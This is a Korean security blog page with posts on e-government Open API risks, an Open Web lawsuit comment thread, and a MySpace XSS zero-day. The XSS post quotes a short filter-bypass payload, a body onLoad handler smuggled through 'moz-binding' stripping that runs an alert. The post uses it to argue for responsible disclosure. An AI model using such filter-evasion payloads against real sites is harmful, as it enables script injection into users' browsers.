오픈웹도 소송을 "원하지는" 않습니다.(오늘자 포스팅, <a href="http://open.unfix.net/2007/01/31/76/">전자정부와 Web 2.0</a> 참조) 그러나, 시장이 제대로 기능하기를 기대하는 것이 불가능할 뿐아니라(99.8% 점유율), 시장에 맡겨져서는 안되고, 정부가 철저히 규제, 감독하여야 된다고 명문의 법규정이 있음은 물론, 그렇게 해야할 뚜렷할 정책적, 합리적 이유도 있는 분야에서, 정부가 그 임무를 내팽겨 치고 있을 때, 소송 외에는 별 대안이 없다는 생각입니다.

개발자를 비난하는 것은 이 사태의 구조를 이해하지 못하는 천박한 견해라고 생각합니다. MS 사를 비난할 이유도 없습니다. 시장을 감시하고, 공정한 경쟁이 가능하고 바람직한 영역에서는 이를 확보하도록 노력해야 할 임무를 지니고 있음에도, 그 직무를 유기하고 있는자, 바로 그자를 비난해야 합니다.
BlogIcon Jerry 2007.02.01 23:10 신고 
예, 저 역시도 사실 처음에는 이 부분에 상당히 냉소적이거나 비판적 입장이었습니다. 하지만, 많은 분들의 의견을 들으면서 Open Web의 시도는 하나의 커다란 발걸음이 될 수 있겠다는 생각으로 바뀌었습니다.

제 개인적으로는 곰곰히 생각해보면, 거시적 관점의 철학 없이 오로지 현상에 대한 해결에 집착했었던 제 과거를 많이 반성하게 된 계기가 된 것 같아서 아주 기분이 좋습니다.

Open Web의 건승을 기원드리겠습니다.

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

Open API에 대한 보안적 관점에서의 소고
+   [Security]   |  2006.12.26 15:19  
자주 방문하는 이삼구글 블로그를 보다 보니, "구글, 개발자 포용 정책에 손대나?"라는 제목으로 글이 올라와 있는데, 사실 이 부분은 저 역시도 많은 생각을 해 왔던 부분이었습니다.

본문 내용중에...

구글은 자사의 서비스 해킹을 즐길 정도의 여유가 있었다.(물론, 검색과 광고 등 핵심 사업은 허용되지 않는다.) 구글 맵의 API가 나온 것도 맵 서비스를 해킹해서 새로운 서비스를 만든 해커 때문이었다. 하지만, 구글은 공식적으로 검색 결과를 해킹할 수 있는 API를 중지해 버렸다. 중지 후 공식 블로그에 공지를 했으나, 많은 블로거들은 지금까지 나온 검색 해킹에 관한 서적이 쓸모 없어 졌다면서 우려를 표시했고, 차니님도 이에 대해 구글이 변하는 것이 아니냐는 을 블로그에 올리기도 했다.
라는 부분은 포털 서비스의 정체성과도 연계가 되는 부분인데, 예를들어 사실상 Open API를 제공하는 Naver나 Daum이 사실 Contents의 생성자는 아니기 때문에 Contents의 연결고리를 제작해 배포함으로써, 사용자의 Contents를 포털에 끌어들이기 쉽도록 사용자 인터페이스를 제공하는 것이죠. 사용자는 더욱 쉽게 Open API를 이용하여 포털을 통한 Contents의 생성과 배포 및 Contents의 이용을 다양한 각도에서 시도하자는 것이 목적이라고 볼 수 있겠지요.

물론 이러한 Open API를 이용한 단점도 있지요. 사실 특정 포탈이나 서비스에 기반한 API라는 것이 다른 곳에서도 제공되는 일반적인 기능에 국한되거나, 사용자 컨텐츠의 특정 포탈로의 블랙홀로 인도하는 사악한 의도에서 비롯된 것이라고 해석할 수 있는 여지도 있습니다.

또 다른 문제는 보안적 측면에서 접근할 수도 있는데, API의 특성상 Open API는 서비스 접근을 위한 상당수의 Interface 정보 및 방법이 제공되기 때문에 API를 배포하는 것은 공격자 입장에서는 '어디가 가장 공격하기 쉬운 곳인가?'라는 정보를 가장 효율적으로 알아낼 수도 있고, 이것이 바로 "구글, 개발자 포용 정책에 손대나?"라는 글에서 중요하게 생각할 수도 있는 부분이라고 볼 수도 있습니다.

우리나라 정부에서 추진하고 있는  전자정부 관련 로드맵을 잠시 보더라도 전자정부 이용 활성화 계획에 따르면,  

※ 민간포털과 협력을 통하여 검색 부가 서비스 등을 제공(단, 세부 부가서비스 종류는 사업추진시 분석을 통해 효과적인 서비스로 결정하며, 연동방식은 Open API 방식 등을 검토)
Open API 방식을 검토하고 있는 것으로 보인다. 심지어 다른 자료를 보면...

공공기관용 공동이용창구 및 이용기관 API를 이용하여 공공기관에서 행정정보를 공동 이용할 수 있도록 서비스 제공
이라는 문구도 보이는데, 이용기관 API는 분명히 일반으로까지 확대될 것은 분명해 보인다. 그러나, 여기서 중요하게 생각해야 할 점은 얼마나 많은 DB를 공유하느냐는 점이다.

○ 정부보유 행정정보는 총 4,583종(중앙 771, 지방 3,812)으로 조사
○ 정보공유를 위한 주요정보는 74종 1,065백만 건(공부 기준)으로 분석
○ 주요DB 74종 중심으로 연간 1,639백만 건 공유
자료를 보면, 이용기관 API 를 통해 공유되거나 공유될 자료의 양이 엄청나다는 것을 알 수 있다. 물론 이러한 자료가 공유됨으로 인해서 대국민 행정정보 이용 편의성이 증대될 것은 분명하다. 문제는 이러한 자료가 악의적인 공격자에 의해 악의적으로 호출될 경우다. 내 생각엔 이러한 공격 행위를 가장 효율적으로 할 수 있는 지름길은 API로 보이는데 말이다.

DRM도 맨날 뚫리는 현실에서 API를 공개한다???  글쎄... Google의 결정은 단순히 Open API만의 문제가 아니라, Communication 방법론에 대한 본질적 사고를 필요로 하는 것도 같다.


신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     API, open api, security, 공유, 보안, 행정정보, 행정정보공유
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

MySpace XSS 취약점에 대한 소고.
+   [Security]   |  2006.12.26 12:51  

최근 뉴스에 따르면, 미국에서는 미국 아이들의 1/3이 아이팟을 가지고 있다고 하고, 68%의 학생들이 MySpace나 Xanga나 Facebook에 홈페이지를 만들어본 경험이 있다고 합니다. MySpace를 사용하는 사용자가 5천만명 정도라니, 정말이지 엄청난 숫자 입니다. (우리나라 전체 인구가 하나의 서비스에 다 가입해 있다고 해도 MySpace 숫자보다 작을 것 같네요. 남북한을 합치면 넘으려나... --+)

SNS(Social Networking Service)는 서비스 특성상 전파력이 상당히 높다고 볼 수 있으며, 다수의 사용자가 사용하는 서비스에 특정 악성코드가 삽입이 되거나 할 경우, 이론적으로는 5천만명이 사용하는 PC 모두에서 권한을 얻거나 개인 정보를 악의적으로 추출할 수도 있죠. SNS 서비스의 대표격인 싸이월드 같은 경우도 비슷한 사례를 보일 수도 있는 유사한 서비스라고 할 수 있겠습니다.

크리스마스 이브군요. 12월 24일 인터넷 서핑을 하다가 보니 MySpace에 존재하는 취약점을 이용한 공격 방법이 나와있는데, 공격 방법을 알아낸 공격자는 이를 'Zero-Day Attack'이라고 말하고 있습니다. 언급하고 있는 공격 방식은 대단히 간단합니다.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">
전형적인 XSS 취약점인데, 이까짓거 가지고 무슨 'Zero-Day Attack' 운운하느냐... 하겠지만... 이 서비스를 5천만명이 사용할 때는 문제가 달라집니다. 수많은 사용자에게 서비스를 제공하는 하나의 서비스에 취약점이 발생하면, 5천만대의 사용자 PC가 동일한 취약점으로 인해 위협받는 경우인데, 바로 이게 포탈 서비스 또는 SNS 서비스에서는 숙명과도 같은 문제입니다.
 
우리나라의 경우에는 어떻냐구요...? 글쎄요... 사랑의 반대말은 무관심이라고 했던가요? 취약점 내용을 무시해 버리거나, 취약점 패치 시점이나 여부에 따라 취약점 코드 공개가 되는 국제 관행과는 상관없이 무조건 법적으로 대등하겠다는 막무가내 식이 대부분이죠.

외국의 경우에는 이런 식으로 취약점 공개가 이루어 집니다.

1. 보안 전문가의 취약점 인지
2. 보안 전문가의 취약점 증명 코드(PoC, Proof of Concept) 설계 및 증명
3. 취약점 밴더에 해당 사실을 알림
4. 취약점 밴더는 지속적으로 보안전문가와 의논하며, 취약점 제거 방안에 대해 연구하며, 이 기간동안 취약점 코드는 인터넷으로 공개 안 됨.
5. 취약점 밴더는 패치 코드를 일반 사용자에게 제공됨과 동시에 인터넷에 취약점에 대한 설명과 동시에 보안 전문가의 Credit을 알림.
6. 보안전문가는 취약점 패치에 대한 자유로운 발표가 이루어짐.

아래 그림은 이러한 프로세스를 통해 Microsoft의 취약점을 발표했었던... 제가 몸담고 있는 회사에서 2006년 3월 정도에 발표한 내용입니다.

사용자 삽입 이미지

흔히 취약점이 없는 프로그램은 없다는 것이 이미 이론적으로도 정립이 된 내용이고, 취약점을 만들어내는 프로그래머를 대책없이 비판할 수도 없는 것이 현실 입니다. 따라서 취약점에 대한 학문적 연구와 발표 문화는 정말이지 절실 합니다.

취약점이 국내 해커들로 부터 나오지 않거나, 국내 해커들이 대부분 취약점을 발견해도 숨기는 것이 현실이라면, 취약점이 영원히 숨겨질까요? 절대 아니죠. 외국 해커들은 국내 사이트에 대한 공격적 가치를 몰라서 그럴 뿐이며, 공격자는 해당 취약점을 언젠가는 반드시 발견해 냅니다. 이런 경우, 하나의 취약점이 국가적 IT 인프라를 손상 시킬 수 있을 정도의 결과로 반드시 돌아 옵니다.

IT 보안과 취약점에 대해 받아들일 자세가 되어 있지 않다면, 우리나라 IT 인프라의 미래 또한 없는 것은 분명해 보입니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     IT 보안, MySpace, security, SNS, 취약점
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

<<이전 | 1 | 2 | 다음>>

bluesman's Blog is powered by Daum & Tattertools

 

티스토리 툴바